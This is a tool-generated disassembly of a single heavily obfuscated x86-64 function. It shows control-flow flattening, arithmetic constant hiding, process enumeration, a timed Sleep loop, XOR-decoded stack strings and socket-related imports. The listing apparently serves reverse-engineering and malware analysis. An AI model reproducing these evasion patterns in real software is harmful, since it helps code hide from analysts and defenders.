Function at 0x1403a8129
Capabilities:
Authenticate hmac
Encrypt data using speck
Manually build aes constants

Disassembly:
push rax
pushf
mov eax, 0xd623fdea
pushf
not eax
add eax, 0xb0832444
xor eax, 0xf51d94c9
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xc438e6b2
xor eax, 0xbb817a73
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xace4a13a
xor eax, 0xfccd5991
rol eax, 0x2e
popf
cmp eax, 0x29
jne 0x1403a8179
popf
pop rax
jmp 0x1403a9fd6
cmp eax, 0
jne 0x1403a8188
popf
pop rax
jmp 0x1403a8494
cmp eax, 3
jne 0x1403a8197
popf
pop rax
jmp 0x1403a862a
cmp eax, 1
jne 0x1403a81a6
popf
pop rax
jmp 0x1403a8528
cmp eax, 0xd
jne 0x1403a81b5
popf
pop rax
jmp 0x1403a8b22
cmp eax, 0x1a
jne 0x1403a81c4
popf
pop rax
jmp 0x1403a96e6
cmp eax, 0xe
jne 0x1403a81d3
popf
pop rax
jmp 0x1403a8ba4
cmp eax, 0x31
jne 0x1403a81e2
popf
pop rax
jmp 0x1403aa407
cmp eax, 0x19
jne 0x1403a81f1
popf
pop rax
jmp 0x1403a918a
cmp eax, 8
jne 0x1403a8200
popf
pop rax
jmp 0x1403a8873
cmp eax, 0x2a
jne 0x1403a820f
popf
pop rax
jmp 0x1403aa01a
cmp eax, 0x17
jne 0x1403a821e
popf
pop rax
jmp 0x1403a90ab
cmp eax, 0x1c
jne 0x1403a822d
popf
pop rax
jmp 0x1403a9817
cmp eax, 0x2e
jne 0x1403a823c
popf
pop rax
jmp 0x1403aa300
cmp eax, 0x18
jne 0x1403a824b
popf
pop rax
jmp 0x1403a90ee
cmp eax, 0x2b
jne 0x1403a825a
popf
pop rax
jmp 0x1403aa06c
cmp eax, 0x1b
jne 0x1403a8269
popf
pop rax
jmp 0x1403a9785
cmp eax, 0x2d
jne 0x1403a8278
popf
pop rax
jmp 0x1403aa277
cmp eax, 0x23
jne 0x1403a8287
popf
pop rax
jmp 0x1403a9c2f
cmp eax, 0x25
jne 0x1403a8296
popf
pop rax
jmp 0x1403a9dbf
cmp eax, 0x32
jne 0x1403a82a5
popf
pop rax
jmp 0x1403aa48d
cmp eax, 0x13
jne 0x1403a82b4
popf
pop rax
jmp 0x1403a8e8d
cmp eax, 0x33
jne 0x1403a82c3
popf
pop rax
jmp 0x1403aa4d9
cmp eax, 0x24
jne 0x1403a82d2
popf
pop rax
jmp 0x1403a9d70
cmp eax, 0x1e
jne 0x1403a82e1
popf
pop rax
jmp 0x1403a98f1
cmp eax, 0xc
jne 0x1403a82f0
popf
pop rax
jmp 0x1403a8ac0
cmp eax, 0x26
jne 0x1403a82ff
popf
pop rax
jmp 0x1403a9e0e
cmp eax, 0x27
jne 0x1403a830e
popf
pop rax
jmp 0x1403a9e8c
cmp eax, 0x30
jne 0x1403a831d
popf
pop rax
jmp 0x1403aa3c4
cmp eax, 0x10
jne 0x1403a832c
popf
pop rax
jmp 0x1403a8c9a
cmp eax, 0x2c
jne 0x1403a833b
popf
pop rax
jmp 0x1403aa0ff
cmp eax, 9
jne 0x1403a834a
popf
pop rax
jmp 0x1403a8906
cmp eax, 4
jne 0x1403a8359
popf
pop rax
jmp 0x1403a86fb
cmp eax, 0x16
jne 0x1403a8368
popf
pop rax
jmp 0x1403a9075
cmp eax, 0x28
jne 0x1403a8377
popf
pop rax
jmp 0x1403a9f2d
cmp eax, 0xa
jne 0x1403a8386
popf
pop rax
jmp 0x1403a896b
cmp eax, 0x22
jne 0x1403a8395
popf
pop rax
jmp 0x1403a9b68
cmp eax, 0x14
jne 0x1403a83a4
popf
pop rax
jmp 0x1403a8f21
cmp eax, 7
jne 0x1403a83b3
popf
pop rax
jmp 0x1403a87ed
cmp eax, 0x34
jne 0x1403a83c2
popf
pop rax
jmp 0x1403aa591
cmp eax, 2
jne 0x1403a83d1
popf
pop rax
jmp 0x1403a85f1
cmp eax, 0x20
jne 0x1403a83e0
popf
pop rax
jmp 0x1403a99aa
cmp eax, 0x1d
jne 0x1403a83ef
popf
pop rax
jmp 0x1403a9862
cmp eax, 0x11
jne 0x1403a83fe
popf
pop rax
jmp 0x1403a8d16
cmp eax, 0x35
jne 0x1403a840d
popf
pop rax
jmp 0x1403aa5dd
cmp eax, 0x2f
jne 0x1403a841c
popf
pop rax
jmp 0x1403aa37b
cmp eax, 0x12
jne 0x1403a842b
popf
pop rax
jmp 0x1403a8db6
cmp eax, 0x21
jne 0x1403a843a
popf
pop rax
jmp 0x1403a9a90
cmp eax, 0x1f
jne 0x1403a8449
popf
pop rax
jmp 0x1403a9953
cmp eax, 0xb
jne 0x1403a8458
popf
pop rax
jmp 0x1403a8a3e
cmp eax, 0xf
jne 0x1403a8467
popf
pop rax
jmp 0x1403a8c06
cmp eax, 0x15
jne 0x1403a8476
popf
pop rax
jmp 0x1403a8fd0
cmp eax, 5
jne 0x1403a8485
popf
pop rax
jmp 0x1403a87a2
cmp eax, 6
jne 0x1403a8494
popf
pop rax
jmp 0x1403a87ea
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x238]
sub rsp, 0x338
movaps xmmword [rsp + 0x320], xmm6
mov rax, qword [0x14010a0d0]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov r14, r9
mov qword [rsp + 0x20], r9
mov r15, r8
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov qword [rbp - 0x70], r9
jmp 0x1403a84e8
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r12d, eax
xor r13d, r13d
nop
push rax
pushf
mov eax, 0x4eb883b
pushf
not eax
add eax, 0xd3cd803b
xor eax, 0xb82af1e4
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xbce5671a
xor eax, 0xf9768dbd
rol eax, 0x1e
popf
jmp 0x1403a816a
mov edi, r13d
mov dword [rbp - 0x30], 0x238
xor edx, edx
lea ecx, [rdx + 2]
jmp 0x1403a8538
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
lea rdx, [rbp - 0x30]
mov rcx, rax
jmp 0x1403a8549
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
lea rdx, [rbp - 0x30]
mov rcx, rsi
jmp 0x1403a8557
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x1403a85be
push rax
pushf
mov eax, 0xf6516523
pushf
not eax
add eax, 0xbc31dd65
xor eax, 0xfdf2d0db
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xc8bc39a5
xor eax, 0x989f40c7
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xbbb48fcb
xor eax, 0xfe2b4834
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xd0bd65cf
xor eax, 0xa0f020bc
rol eax, 0xd9
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0xefd7244c
pushf
not eax
add eax, 0xdabd9dac
xor eax, 0xc0d3ab29
rol eax, 0x85
popf
pushf
not eax
add eax, 0xe0da8020
xor eax, 0x9a64315a
rol eax, 0x4e
popf
jmp 0x1403a816a
nop word [rax + rax]
push rax
pushf
mov eax, 0x58b6b1f1
pushf
not eax
add eax, 0xf924c86c
xor eax, 0x97e104b0
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x9b9e0ae6
xor eax, 0xd474a5ca
rol eax, 0x8b
popf
jmp 0x1403a816a
mov ecx, 0x40b61a6a
pushf
not ecx
add ecx, 0xf0a12511
xor ecx, 0xa9c83f55
rol ecx, 0x22
popf
pushf
not ecx
add ecx, 0x979a9798
xor ecx, 0xc5195677
rol ecx, 0xcc
popf
pushf
not ecx
add ecx, 0xe7ed5af6
xor ecx, 0xadcbf8e4
rol ecx, 0xe0
popf
pushf
not ecx
add ecx, 0xd36f3a0e
xor ecx, 0x9ee4c25d
rol ecx, 0x6f
popf
call fcn.14015317f
mov rbx, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1403a86c8
push rax
pushf
mov eax, 0x3bca259d
pushf
not eax
add eax, 0x9ea2ad9a
xor eax, 0xca502efa
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xd7f7ba82
xor eax, 0x964d98d7
rol eax, 0xdb
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x820c3698
pushf
not eax
add eax, 0x9e369986
xor eax, 0xa86c848a
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xe5c9b961
xor eax, 0xff64051a
rol eax, 0xf0
popf
jmp 0x1403a816a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r13
mov dword [rbx + 0x10], 1
lea rcx, [rbp - 4]
jmp 0x1403a8717
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x1403a876f
push rax
pushf
mov eax, 0xb7ae844e
pushf
not eax
add eax, 0xa75c1be8
xor eax, 0xf19d0b3b
rol eax, 0x74
popf
pushf
not eax
add eax, 0xd8116a0d
xor eax, 0xb6dab9b1
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xfe07562e
xor eax, 0xa600ae57
rol eax, 0x4b
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0xa8123359
pushf
not eax
add eax, 0xe91fd5b4
xor eax, 0xda624871
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xcf90faf0
xor eax, 0xd50ad414
rol eax, 0x12
popf
jmp 0x1403a816a
jmp 0x1403a87ed
mov rbx, r13
mov qword [rbp - 0x68], rbx
test rbx, rbx
je 0x1403a882d
push rax
pushf
mov eax, 0x89ee17cb
pushf
not eax
add eax, 0xd573c185
xor eax, 0xa0d1ae42
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x94bba156
xor eax, 0x98e69f57
rol eax, 0xeb
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0xb76b183d
pushf
not eax
add eax, 0xf9f79347
xor eax, 0xfc40b346
rol eax, 0x83
popf
pushf
not eax
add eax, 0x90b4295b
xor eax, 0xe5d6b84c
rol eax, 0xef
popf
pushf
not eax
add eax, 0x87e34e2f
xor eax, 0xc21a8e61
rol eax, 0xc9
popf
jmp 0x1403a816a
cmp qword [rbx + 8], 0
jne 0x1403a88c0
push rax
pushf
mov eax, 0x97a5b72e
pushf
not eax
add eax, 0x876fd7b5
xor eax, 0xbd299038
rol eax, 0x49
popf
pushf
not eax
add eax, 0xb8fad329
xor eax, 0x997852ac
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xe9a209e6
xor eax, 0xdde3d1a4
rol eax, 0x6e
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0xf493d728
pushf
not eax
add eax, 0x882fcfff
xor eax, 0xfc421dbe
rol eax, 0x60
popf
pushf
not eax
add eax, 0xbf995081
xor eax, 0x9dbce8c5
rol eax, 0x28
popf
pushf
not eax
add eax, 0xed5bee4d
xor eax, 0xe9d81a7a
rol eax, 0x98
popf
jmp 0x1403a816a
mov rcx, qword [rbx]
call fcn.1402335e9
mov qword [rbx + 8], rax
push rax
pushf
mov eax, 0xefe9abcd
pushf
not eax
add eax, 0xbe0c594f
xor eax, 0xbaddab90
rol eax, 0x25
popf
pushf
not eax
add eax, 0xcab06735
xor eax, 0xae8f7ceb
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xc999cc71
xor eax, 0xea06d6d4
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xd139e6d8
xor eax, 0xa3965ca4
rol eax, 0x11
popf
jmp 0x1403a816a
mov rdx, r15
mov rcx, qword [rbx + 8]
call fcn.14020bc1b
test eax, eax
cmove edi, dword [rbp - 0x28]
mov eax, 0x79832ef7
pushf
not eax
add eax, 0xb06f6643
xor eax, 0xb0c369e3
rol eax, 0x61
popf
pushf
not eax
add eax, 0xa5d4e36a
xor eax, 0x80aed6ce
rol eax, 0x7c
popf
pushf
not eax
add eax, 0x8a51c1d4
xor eax, 0xb5baea3f
rol eax, 0xf
popf
pushf
not eax
add eax, 0xd31f6adc
xor eax, 0x995d63ab
rol eax, 0x15
popf
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x1403a8a0b
push rax
pushf
mov eax, 0x99dc3445
pushf
not eax
add eax, 0xdfbe3d37
xor eax, 0xf0326596
rol eax, 0x87
popf
pushf
not eax
add eax, 0x8021bf9e
xor eax, 0x97eb0aa3
rol eax, 0xdb
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x2a44af4f
pushf
not eax
add eax, 0xb6302c82
xor eax, 0xe4b0f003
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xd0ce0d87
xor eax, 0x8b109f52
rol eax, 0x65
popf
jmp 0x1403a816a
mov rcx, qword [rbx]
test rcx, rcx
je 0x1403a8a8c
push rax
pushf
mov eax, 0x68009946
pushf
not eax
add eax, 0xba4f9f8f
xor eax, 0xeb61a2a5
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xede2f16b
xor eax, 0x93d417e8
rol eax, 0x97
popf
pushf
not eax
add eax, 0x998a1e6a
xor eax, 0xfc05c264
rol eax, 0
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x537a90d2
pushf
not eax
add eax, 0xcd530ec0
xor eax, 0x8be32a30
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xa0daf18e
xor eax, 0x991f0d17
rol eax, 0x45
popf
jmp 0x1403a816a
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r13
push rax
pushf
mov eax, 0x9b89199d
pushf
not eax
add eax, 0xd5ff81e9
xor eax, 0xde2cee2b
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xd7c0f037
xor eax, 0xea2abdc0
rol eax, 0xff
popf
pushf
not eax
add eax, 0xf45c5619
xor eax, 0xcfe659ff
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xaeb302d1
xor eax, 0xa4eb033f
rol eax, 0xdd
popf
jmp 0x1403a816a
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x1403a8b5e
push rax
pushf
mov eax, 0xac8648bd
pushf
not eax
add eax, 0xcad44d4a
xor eax, 0x9f402a36
rol eax, 0x7c
popf
pushf
not eax
add eax, 0x89bc1fc0
xor eax, 0xe1ab20d4
rol eax, 0xf7
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x89a14b16
pushf
not eax
add eax, 0xa762b126
xor eax, 0xffeba4c6
rol eax, 0xc4
popf
pushf
not eax
add eax, 0x9828545d
xor eax, 0xae1b0215
rol eax, 0x15
popf
pushf
not eax
add eax, 0xb20f392c
xor eax, 0xfc93cc3f
rol eax, 0x9d
popf
jmp 0x1403a816a
call fcn.14021a52b
mov qword [rbx + 8], r13
push rax
pushf
mov eax, 0x19fa1dc9
pushf
not eax
add eax, 0xdcff66c9
xor eax, 0xb2f510c8
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xeafc0f29
xor eax, 0xacaa9d88
rol eax, 0x63
popf
pushf
not eax
add eax, 0xe2d34dd9
xor eax, 0xb0a4e826
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xf03127ec
xor eax, 0x94ea82ca
rol eax, 0xb7
popf
jmp 0x1403a816a
mov edx, 0x32ec0bee
pushf
not edx
add edx, 0xacd67b2b
xor edx, 0xbe78a3e3
rol edx, 0x50
popf
pushf
not edx
add edx, 0xb1630365
xor edx, 0xcf320375
rol edx, 0x21
popf
pushf
not edx
add edx, 0xaecdf4c9
xor edx, 0xba6344d6
rol edx, 0x49
popf
pushf
not edx
add edx, 0xaf271d36
xor edx, 0x9b97c35b
rol edx, 0x2a
popf
mov rcx, rbx
call fcn.14021a52b
push rax
pushf
mov eax, 0x49688e50
pushf
not eax
add eax, 0xd4e3ec0b
xor eax, 0xdef4e681
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x8d02ab82
xor eax, 0xef5763a4
rol eax, 0xb5
popf
jmp 0x1403a816a
lea rdx, [rbp - 0x30]
mov rcx, rsi
jmp 0x1403a8ca2
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1403a8ce3
push rax
pushf
mov eax, 0x3cb2416b
pushf
not eax
add eax, 0xed11ce82
xor eax, 0xd7aa8500
rol eax, 0x90
popf
pushf
not eax
add eax, 0xc67df5a4
xor eax, 0xbe63cdae
rol eax, 0x92
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x3ffcc687
pushf
not eax
add eax, 0xe23bf145
xor eax, 0xaee93dc4
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xeb5e1a8c
xor eax, 0x898689be
rol eax, 0xeb
popf
jmp 0x1403a816a
mov rcx, rsi
jmp 0x1403a8d1a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x14012d99c], edi
test edi, edi
jne 0x1403a8d83
push rax
pushf
mov eax, 0x30fa9bc7
pushf
not eax
add eax, 0xb0d5d3ff
xor eax, 0xdda0f457
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x905ecd97
xor eax, 0x904266ef
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x87cbe65e
xor eax, 0x9fc6db21
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xa8ca206f
xor eax, 0xe359af06
rol eax, 0x74
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x43a2c077
pushf
not eax
add eax, 0xd1012c89
xor eax, 0xfc379c6f
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xf0dc2a8a
xor eax, 0xc39e03bb
rol eax, 0xb8
popf
jmp 0x1403a816a
mov ecx, 0xc2be5b28
pushf
not ecx
add ecx, 0xb3d06f7e
xor ecx, 0xe907990c
rol ecx, 0xb4
popf
pushf
not ecx
add ecx, 0x91ba70fe
xor ecx, 0xbc28e875
rol ecx, 0x5f
popf
jmp 0x1403a8de6
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1403a8ded
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, r12d
cmp eax, 0x493e0
jbe 0x1403a8e34
push rax
pushf
mov eax, 0x3b9b47ed
pushf
not eax
add eax, 0xcd8faaa2
xor eax, 0xbce21675
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xd5d9aadd
xor eax, 0xc30843b6
rol eax, 0xff
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0xe37a4b90
pushf
not eax
add eax, 0xc5723e64
xor eax, 0xba463406
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xa3462be7
xor eax, 0xc3cfdc3e
rol eax, 0x8e
popf
pushf
not eax
add eax, 0x9cb0b01a
xor eax, 0x9f138a6f
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xe3ac64fd
xor eax, 0xe5c9132b
rol eax, 0xa7
popf
jmp 0x1403a816a
mov rcx, qword [r14]
test rcx, rcx
je 0x1403a8edb
push rax
pushf
mov eax, 0x5bdbcf17
pushf
not eax
add eax, 0xbedac33a
xor eax, 0x982b72ed
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xbe0f0d46
xor eax, 0xf8235833
rol eax, 0x37
popf
pushf
not eax
add eax, 0x8f1ecc94
xor eax, 0x9b1d8a40
rol eax, 0x5f
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x38b5c68b
pushf
not eax
add eax, 0xbd6b7aa6
xor eax, 0xb385e941
rol eax, 0x6e
popf
pushf
not eax
add eax, 0x92a7b383
xor eax, 0x8e61bbf4
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xac33e210
xor eax, 0x806b836a
rol eax, 0xa3
popf
jmp 0x1403a816a
mov rdx, qword [r14 + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1403a8f77
push rax
pushf
mov eax, 0x69e3d073
pushf
not eax
add eax, 0xcb33aa6c
xor eax, 0xfc094632
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x8ef3f456
xor eax, 0xd79f6622
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x8f11dc3a
xor eax, 0xc0cc06d5
rol eax, 0x20
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x9c259cec
pushf
not eax
add eax, 0x9e3ac84a
xor eax, 0xdc94d7b3
rol eax, 0xac
popf
pushf
not eax
add eax, 0xf4945e23
xor eax, 0xb02505fb
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xc7119c63
xor eax, 0xf426c460
rol eax, 0x64
popf
pushf
not eax
add eax, 0xeea29c4b
xor eax, 0xe628621c
rol eax, 0x16
popf
jmp 0x1403a816a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x1403a902f
push rax
pushf
mov eax, 0x4ba3ed18
pushf
not eax
add eax, 0xd00e2856
xor eax, 0xb50a8414
rol eax, 0xae
popf
pushf
not eax
add eax, 0xe766b672
xor eax, 0xe49e80f9
rol eax, 0x28
popf
pushf
not eax
add eax, 0x94dab0b5
xor eax, 0x91efd101
rol eax, 0x1c
popf
jmp 0x1403a816a
push rax
pushf
mov eax, 0x90437f40
pushf
not eax
add eax, 0xe214beb8
xor eax, 0x82dfac76
rol eax, 0x91
popf
pushf
not eax
add eax, 0x994b0b71
xor eax, 0x80e601cf
rol eax, 0x40
popf
pushf
not eax
add eax, 0xef2f6aa3
xor eax, 0xfb8e6e06
rol eax, 0xf7
popf
jmp 0x1403a816a
mov rcx, r8
push rax
pushf
mov eax, 0x2df5de05
pushf
not eax
add eax, 0xd5721838
xor eax, 0xd851bed5
rol eax, 0xce
popf
pushf
not eax
add eax, 0x8f023d8a
xor eax, 0xcdc85dbc
rol eax, 3
popf
jmp 0x1403a816a
call fcn.14021a52b
mov qword [r14], r13
mov qword [r14 + 8], r13
mov qword [r14 + 0x10], r13
push rax
pushf
mov eax, 0x1df4224d
pushf
not eax
add eax, 0x8c97f108
xor eax, 0xb80d7c2e
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xa99477ad
xor eax, 0xdf4d1cf2
rol eax, 0xb1
popf
jmp 0x1403a816a
mov eax, 0xf16c9bf
pushf
not eax
add eax, 0xa9561f66
xor eax, 0x9547f018
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xdf00c294
xor eax, 0xd94c9bf4
rol eax, 8
popf
pushf
not eax
add eax, 0x96cbad3e
xor eax, 0xa483213f
rol eax, 0xa2
popf
jmp 0x1403aa409
movdqa xmm1, xmmword [str.c8G_C_n_r_t]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x1400ff380]
movdqu xmmword [rsp + 0x60], xmm2
mov cl, 0xc8
pushf
not cl
add cl, 0x63
xor cl, 0xc5
rol cl, 0xdb
popf
pushf
not cl
add cl, 0xfa
xor cl, 0xe5
rol cl, 0xe0
popf
pushf
not cl
add cl, 0x8e
xor cl, 0xfa
rol cl, 0x79
popf
mov dl, 0xf1
pushf
not dl
add dl, 0x1c
xor dl, 0x65
rol dl, 0x7d
popf
pushf
not dl
add dl, 0x30
xor dl, 0xfe
rol dl, 0xaa
popf
pushf
not dl
add dl, 0xaa
xor dl, 0x8b
rol dl, 0xb
popf
pushf
not dl
add dl, 0x39
xor dl, 0xcc
rol dl, 0x85
popf
mov r8b, 0xea
pushf
not r8b
add r8b, 0x92
xor r8b, 0xde
rol r8b, 0xec
popf
pushf
not r8b
add r8b, 0xd7
xor r8b, 0x71
rol r8b, 7
popf
pushf
not r8b
add r8b, 0x43
xor r8b, 0xbc
rol r8b, 0xa
popf
pushf
not r8b
add r8b, 0x77
xor r8b, 0x84
rol r8b, 0x4e
popf
mov r9b, 0x67
pushf
not r9b
add r9b, 0xc3
xor r9b, 0x1b
rol r9b, 0x46
popf
pushf
not r9b
add r9b, 0x90
xor r9b, 1
rol r9b, 0x19
popf
pushf
not r9b
add r9b, 0xc5
xor r9b, 0xaa
rol r9b, 0xeb
popf
pushf
not r9b
add r9b, 0x9e
xor r9b, 0x92
rol r9b, 0x57
popf
movzx r10d, dl
mov bl, 0xb5
pushf
not bl
add bl, 0x29
xor bl, 0x10
rol bl, 0x3f
popf
pushf
not bl
add bl, 0x45
xor bl, 0x7e
rol bl, 0x12
popf
pushf
not bl
add bl, 0xe7
xor bl, 0x6f
rol bl, 0xeb
popf
movzx edi, dl
mov sil, 0x76
pushf
not sil
add sil, 0x97
xor sil, 0xb2
rol sil, 0x4b
popf
pushf
not sil
add sil, 0xa2
xor sil, 0x11
rol sil, 7
popf
mov r14b, reloc.WS2_32.dll_socket
pushf
not r14b
add r14b, 0x93
xor r14b, 0x35
rol r14b, 0x2b
popf
pushf
not r14b
add r14b, 0x1f
xor r14b, 0xb8
rol r14b, 0xd1
popf
pushf
not r14b
add r14b, 0x39
xor r14b, 0x2b
rol r14b, 0xf9
popf
pushf
not r14b
add r14b, 0x86
xor r14b, 0xaf
rol r14b, 0xdc
popf
mov r15b, 0xb4
pushf
not r15b
add r15b, 0x9e
xor r15b, 0xf9
rol r15b, 0x74
popf
pushf
not r15b
add r15b, 0xba
xor r15b, 0x94
rol r15b, 0xce
popf
pushf
not r15b
add r15b, 0x89
xor r15b, 0xa8
rol r15b, 0xc4
popf
pushf
not r15b
add r15b, 0x5e
xor r15b, 0xd0
rol r15b, 0xb4
popf
mov r12b, reloc.WS2_32.dll_inet_addr
pushf
not r12b
add r12b, 0xc5
xor r12b, 9
rol r12b, 0x72
popf
pushf
not r12b
add r12b, 0x67
xor r12b, 0x20
rol r12b, 0x13
popf
pushf
not r12b
add r12b, 0x7b
xor r12b, 0x77
rol r12b, 0x7f
popf
pushf
not r12b
add r12b, 0x95
xor r12b, 0x5c
rol r12b, 0xa6
popf
movzx r13d, r8b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r11d, xmm1
xor al, r11b
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], r11b
xor byte [rsp + 0x53], r11b
xor byte [rsp + 0x54], r11b
xor byte [rsp + 0x55], r11b
xor byte [rsp + 0x56], r11b
xor byte [rsp + 0x57], r11b
xor byte [rsp + 0x58], r11b
xor byte [rsp + 0x59], r11b
xor byte [rsp + 0x5a], r11b
xor byte [rsp + 0x5b], r11b
xor byte [rsp + 0x5c], r11b
xor byte [rsp + 0x5d], r11b
xor byte [rsp + 0x5e], r11b
xor byte [rsp + 0x5f], r11b
movd eax, xmm2
xor al, r11b
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], r11b
xor byte [rsp + 0x62], r11b
xor byte [rsp + 0x63], r11b
xor byte [rsp + 0x64], r11b
xor byte [rsp + 0x65], r11b
xor byte [rsp + 0x66], r11b
xor byte [rsp + 0x67], r11b
xor byte [rsp + 0x68], r11b
xor byte [rsp + 0x69], r11b
xor byte [rsp + 0x6a], r11b
xor byte [rsp + 0x6b], r11b
xor byte [rsp + 0x6c], r11b
xor byte [rsp + 0x6d], r11b
xor byte [rsp + 0x6e], r11b
xor byte [rsp + 0x6f], r11b
xor cl, r11b
mov byte [rsp + 0x70], cl
xor dl, r11b
mov byte [rsp + 0x71], dl
xor r8b, r11b
mov byte [rsp + 0x72], r8b
xor r9b, r11b
mov byte [rsp + 0x73], r9b
xor r10b, r11b
mov byte [rsp + 0x74], r10b
xor bl, r11b
mov byte [rsp + 0x75], bl
xor dil, r11b
mov byte [rsp + 0x76], dil
xor sil, r11b
mov byte [rsp + 0x77], sil
xor r14b, r11b
mov byte [rsp + 0x78], r14b
xor r15b, r11b
mov byte [rsp + 0x79], r15b
xor r12b, r11b
mov byte [rsp + 0x7a], r12b
xor r13b, r11b
mov byte [rsp + 0x7b], r13b
mov al, 0x87
pushf
not al
add al, 0xe3
xor al, 0xf5
rol al, 0xf8
popf
pushf
not al
add al, 0x1d
xor al, 0xae
rol al, 0xbb
popf
xor al, r11b
mov byte [rsp + 0x7c], al
mov al, 0x61
pushf
not al
add al, 0x13
xor al, 0x5d
rol al, 0xcb
popf
pushf
not al
add al, 0xb2
xor al, 0xa4
rol al, 0x1e
popf
pushf
not al
add al, 0xd6
xor al, 0x13
rol al, 0x9f
popf
pushf
not al
add al, 0x15
xor al, 0xc2
rol al, 0xad
popf
xor al, r11b
mov byte [rsp + 0x7d], al
mov byte [rsp + 0x7e], 0
lea rdx, [rsp + 0x51]
lea rcx, [0x195e4cfcf]
pushf
sub rcx, 0x55d2125f
popf
call fcn.1401f09ef
mov rcx, rax
call fcn.14023c697
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
mov r8d, 0xd79bce57
pushf
not r8d
add r8d, 0xb255e374
xor r8d, 0xf33704d0
rol r8d, 0x9c
popf
pushf
not r8d
add r8d, 0xff37d069
xor r8d, 0x957e4eca
rol r8d, 0x7a
popf
pushf
not r8d
add r8d, 0xfd1a0ff5
xor r8d, 0x82d3a13e
rol r8d, 0xdc
popf
pushf
not r8d
add r8d, 0x89d3374e
xor r8d, 0x85c9248c
rol r8d, 0x29
popf
lea rdx, [0x1bfdfb891]
pushf
sub rdx, 0x7fd789e1
popf
lea rcx, [rbp - 0x50]
call fcn.14028bc24
mov eax, dword [0x14012d99c]
mov qword [0x14012d9a0], rax
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x1403a96a0
push rax
pushf
mov eax, 0xe517668d
pushf
not eax
add eax, 0x82a43f83
xor eax, 0xb68127a7
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xd1c53e25
xor eax, 0xdd9965de
rol eax, 0xab
popf
pushf
not eax
add eax, 0x8b4d5c56
xor eax, 0xe61a5549
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xa2b80f0d
xor eax, 0xc03bdaf1
rol eax, 0x39
popf
